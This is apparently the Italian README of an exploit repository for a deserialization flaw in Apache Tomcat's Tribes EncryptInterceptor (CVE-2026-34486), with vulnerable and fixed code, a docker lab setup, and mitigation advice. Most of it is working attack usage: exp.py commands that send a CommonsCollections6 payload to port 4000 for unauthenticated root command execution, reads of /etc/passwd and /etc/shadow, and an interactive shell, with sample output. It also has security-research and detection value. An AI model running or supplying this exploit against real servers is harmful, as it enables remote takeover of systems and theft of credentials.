
Exploit per il bypass di Apache Tomcat EncryptInterceptor che porta a RCE non autenticata tramite deserializzazione Java sulla porta 4000. Include configurazione del laboratorio, shell interattiva e guida alla rilevazione.
Apache Tomcat Il modulo di comunicazione del cluster Tribes non riesce a scartare i messaggi quando la decrittazione di
EncryptInterceptorfallisce, consentendo ad attaccanti non autenticati di innescare Remote Code Execution tramite deserializzazione Java sulla porta 4000.
| Campo | Informazioni |
|---|---|
| ID CVE | CVE-2026-34486 |
| Punteggio CVSS | 7.5 (Alto) |
| Componente | Apache Tomcat Tribes EncryptInterceptor |
| Versioni Affette | 9.0.0.M1 – 9.0.116 / 10.1.0-M1 – 10.1.53 / 11.0.0-M1 – 11.0.20 |
| Versioni Corrette | 9.0.117 / 10.1.54 / 11.0.21 |
| Tipo di Vulnerabilità | Remote Code Execution non autenticata tramite deserializzazione |
| Vettore di Attacco | Rete / Nessuna autenticazione / Bassa complessità |
| Porta di Attacco | TCP 4000 (Tribes NioReceiver) |
La funzionalità di clustering di Apache Tomcat utilizza il framework Tribes per sincronizzare i dati di sessione tra i nodi del cluster, in ascolto sulla porta TCP 4000 di default.
Quando EncryptInterceptor (AES/CBC) è abilitato, esiste il seguente difetto logico:
// EncryptInterceptor.java — versione vulnerabile
public void messageReceived(ChannelMessage msg) {
try {
byte[] decrypted = decrypt(msg.getMessage().getBytes());
// elabora il messaggio decrittato...
} catch (Exception e) {
log.error("Failed to decrypt message", e); // registra solo l'errore
}
super.messageReceived(msg); // ← BUG: i byte grezzi vengono inoltrati anche dopo il fallimento della decrittazione
}
Il blocco catch registra solo l'errore. Poiché super.messageReceived(msg) è fuori dal blocco try-catch, i byte grezzi non crittografati vengono inoltrati a XByteBuffer.deserialize() → ObjectInputStream.readObject().
Un attaccante può inviare un payload di deserializzazione appositamente costruito per innescare RCE senza alcuna autenticazione.
Attaccante ──TCP:4000──► NioReceiver (nessuna autenticazione)
│
EncryptInterceptor.messageReceived()
try { AES/CBC decrypt → IllegalBlockSizeException }
catch{ log.severe("Failed to decrypt") } ← solo traccia di log
super.messageReceived(msg) ← BUG: i byte grezzi passano
│
GroupChannel → XByteBuffer.deserialize()
│
ObjectInputStream.readObject() ← deserializzazione innescata
│
Catena di Gadget CommonsCollections6
│
Runtime.exec() → RCE come root 🔴
La correzione sposta super.messageReceived(msg) all'interno del blocco try, così qualsiasi fallimento di decrittazione causa lo scarto silenzioso del messaggio (fail-closed).
// EncryptInterceptor.java — versione corretta
public void messageReceived(ChannelMessage msg) {
try {
byte[] decrypted = decrypt(msg.getMessage().getBytes());
// elabora...
super.messageReceived(msg); // ← CORRETTO: raggiunto solo se la decrittazione riesce
} catch (Exception e) {
log.error("Failed to decrypt message", e); // il messaggio viene scartato
}
}
java e javac nel PATH)ysoserial-all.jarapache-tomcat-9.0.116 (per la libreria Tribes)docker run -d \
--name tomcat-cve-2026-34486 \
-p 8080:8080 \
-p 4000:4000 \
nowday3/cve-2026-34486:latest
# Verifica
curl http://localhost:8080
# exploit
git clone https://github.com/404-src/CVE-2026-34486
cd CVE-2026-34486/
# ysoserial
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar
# Tomcat 9.0.116 (per la libreria Tribes)
wget https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.116/bin/apache-tomcat-9.0.116.tar.gz
tar xzf apache-tomcat-9.0.116.tar.gz
cp apache-tomcat-9.0.116/bin/tomcat-juli.jar apache-tomcat-9.0.116/lib/
python3 exp.py -t 127.0.0.1 -p 4000 -c "touch /tmp/pwned"
# Verifica
docker exec tomcat-cve-2026-34486 ls -la /tmp/pwned
python3 exp.py -t 127.0.0.1 -p 4000 --rce "id"
# Output: uid=0(root) gid=0(root) groups=0(root)
python3 exp.py -t 127.0.0.1 -p 4000 --rce "cat /etc/passwd"
python3 exp.py -t 127.0.0.1 -p 4000 --rce "cat /etc/shadow"
python3 exp.py -t 127.0.0.1 -p 4000 --shell
# [email protected]$ id
# [email protected]$ hostname
# [email protected]$ exit
python3 exp.py -t 127.0.0.1 -p 4000 --rce "id" \
--ysoserial ./ysoserial-all.jar \
--tomcat-lib ./apache-tomcat-9.0.116/lib
-t, --target IP del target (default: 127.0.0.1)
-p, --port Porta Tribes (default: 4000)
--http-port Porta HTTP per il recupero dell'output (default: 8080)
-c, --command Esegui comando direttamente (nessuna funzionalità di shell)
--rce Esegui comando e recupera l'output tramite HTTP
--shell Modalità shell interattiva
-g, --gadget Catena di gadget (default: CommonsCollections6)
--ysoserial Percorso del jar ysoserial
--tomcat-lib Percorso della directory lib di Tomcat
$ python3 exp.py -t 127.0.0.1 -p 4000 --rce "id"
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗
██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═══██╗╚════██╗██╔════╝
██║ ██║ ██║█████╗█████╗ █████╔╝██║ ██║ █████╔╝███████╗
██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ██║▄▄ ██║██╔═══╝ ██╔══██║
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗╚██████╔╝
34486
Apache Tomcat EncryptInterceptor Bypass → Deserialization → RCE
Target : 127.0.0.1:4000
Gadget : CommonsCollections6
[*] Compiling TribesClient.java ...
[+] Compiled successfully
[*] Generating CommonsCollections6 payload ...
[+] Payload: 1361 bytes
[*] Sending Tribes frame → 127.0.0.1:4000
[tribes] frame=1496B cdBytes=1478B
[+] Frame sent!
[*] Fetching result: http://127.0.0.1:8080/.out.txt
uid=0(root) gid=0(root) groups=0(root)
L'unica traccia di log lasciata dall'attacco:
SEVERE [Tribes-Task-Receiver[Catalina-Channel]-1]
org.apache.catalina.tribes.group.interceptors.EncryptInterceptor.messageReceived
Failed to decrypt message
javax.crypto.IllegalBlockSizeException: Input length must be multiple of 16
when decrypting with padded cipher
Nessuna eccezione readObject viene registrata — il comando viene eseguito silenziosamente.
| Azione | Priorità |
|---|---|
| Aggiornare a Tomcat 9.0.117 / 10.1.54 / 11.0.21 | Critica |
| Limitare la porta 4000 solo agli IP del cluster di fiducia | Alta |
Monitorare i log per ripetuti Failed to decrypt message | Media |
| Disabilitare il clustering Tribes se non necessario | Alta |
Questo progetto è destinato esclusivamente a ricerca sulla sicurezza autorizzata, test di penetrazione e scopi educativi. Non utilizzare questo strumento contro sistemi di cui non sei proprietario o per i quali non hai esplicita autorizzazione al test. L'autore non si assume alcuna responsabilità per usi impropri o danni causati da questo strumento.
Licenza MIT © 2026 404-src